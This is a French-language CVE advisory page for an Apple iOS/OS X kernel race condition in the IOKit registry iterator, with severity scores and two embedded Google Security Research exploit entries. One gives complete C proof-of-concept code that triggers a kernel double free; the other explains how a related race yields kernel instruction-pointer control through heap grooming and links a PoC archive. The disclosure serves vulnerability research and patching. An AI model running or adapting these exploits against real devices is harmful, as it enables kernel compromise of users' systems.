Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 39366
Date de publication : 2016-01-27 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=598
The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function:
kern_return_t is_io_registry_iterator_exit_entry(
io_object_t iterator )
{
bool didIt;
CHECK( IORegistryIterator, iterator, iter );
didIt = iter->exitEntry();
return( didIt ? kIOReturnSuccess : kIOReturnNoDevice );
}
exitExtry is defined as follows:
bool IORegistryIterator::exitEntry( void )
{
IORegCursor * gone;
if( where->iter) {
where->iter->release();
where->iter = 0;
if( where->current)// && (where != &start))
where->current->release();
}
if( where != &start) {
gone = where;
where = gone->next;
IOFree( gone, sizeof(IORegCursor));
return( true);
} else
return( false);
}
There are multiple concurrency hazards here; for example a double free of where if two threads
enter at the same time.
These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes
on OS X and iOS.
Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2
Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro
repro: while true; do ./ioparallel_regiter; done
*/
// ianbeer
// clang -o ioparallel_regiter ioparallel_regiter.c -lpthread -framework IOKit
/*
OS X and iOS kernel double free due to lack of locking in iokit registry iterator manipulation
The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function:
kern_return_t is_io_registry_iterator_exit_entry(
io_object_t iterator )
{
bool didIt;
CHECK( IORegistryIterator, iterator, iter );
didIt = iter->exitEntry();
return( didIt ? kIOReturnSuccess : kIOReturnNoDevice );
}
exitExtry is defined as follows:
bool IORegistryIterator::exitEntry( void )
{
IORegCursor * gone;
if( where->iter) {
where->iter->release();
where->iter = 0;
if( where->current)// && (where != &start))
where->current->release();
}
if( where != &start) {
gone = where;
where = gone->next;
IOFree( gone, sizeof(IORegCursor));
return( true);
} else
return( false);
}
There are multiple concurrency hazards here; for example a double free of where if two threads
enter at the same time.
These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes
on OS X and iOS.
Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2
Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro
repro: while true; do ./ioparallel_regiter; done
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
int start = 0;
void exit_it(io_iterator_t iter) {
IORegistryIteratorExitEntry(iter);
}
void go(void* arg){
while(start == 0){;}
usleep(1);
exit_it(*(io_iterator_t*)arg);
}
int main(int argc, char** argv) {
kern_return_t err;
io_iterator_t iter;
err = IORegistryCreateIterator(kIOMasterPortDefault, kIOServicePlane, 0, &iter);
if (err != KERN_SUCCESS) {
printf("can't create reg iterator\n");
return 0;
}
IORegistryIteratorEnterEntry(iter);
pthread_t t;
io_connect_t arg = iter;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
usleep(100000);
start = 1;
exit_it(iter);
pthread_join(t, NULL);
return 0;
}
Exploit Database EDB-ID : 39357
Date de publication : 2016-01-27 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=620
I wanted to demonstrate that these iOS/OS X kernel race condition really are exploitable so here's a PoC
which gets RIP on OS X. The same techniques should transfer smoothly to iOS :)
The bug is here:
void IORegistryIterator::reset( void )
{
while( exitEntry())
{}
if( done) {
done->release();
done = 0;
}
where->current = root;
options &= ~kIORegistryIteratorInvalidFlag;
}
We can call this from userspace via the IOIteratorReset method.
done is an OSOrderedSet* and we only hold one reference on it; therefore we can race two threads
to both see the same value of done, one will free it but before it sets done to NULL the other will
call ->release on the now free'd OSOrderedSet.
How to get instruction pointer control?
The XNU kernel heap seems to have been designed to make this super easy :) When the first thread frees
done zalloc will overwrite the first qword of the allocation with the freelist next pointer (and the last qword
with that pointer xor'd with a secret.) This means that what used to be the vtable pointer gets overwritten
with a valid pointer pointing to the last object freed to this zone. If we can control that object then
the qword at +0x28 will be called (release is at offset +0x28 in the OSObject vtable which is the base
of all IOKit objects including OSOrderedSet.)
This PoC uses OSUnserializeXML to unserialize an OSData object with controlled contents then free it, which
puts a controlled heap allocation at the head of the kalloc.80 freelist giving us pretty easy instruction pointer control.
I've attached a panic log showing kernel RIP at 0xffffff8041414141. You will probably have to fiddle with the
PoC a bit to get it to work, it's only a PoC but it does work! (I have marked the value to fiddle with :) )
As a hardening measure I would strongly suggest at the very least flipping the location of the obfuscated and
unobfuscate freelist pointers such that the valid freelist pointer doesn't overlap with the location of the
vtable pointer.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39357.zip
Products Mentioned
Configuraton 0
Apple>>Iphone_os >> Version To (including) 9.1
Configuraton 0
Apple>>Mac_os_x >> Version To (including) 10.11.1
Configuraton 0
Apple>>Watchos >> Version To (including) 2.0
Configuraton 0
Apple>>Tvos >> Version To (including) 9.0
Références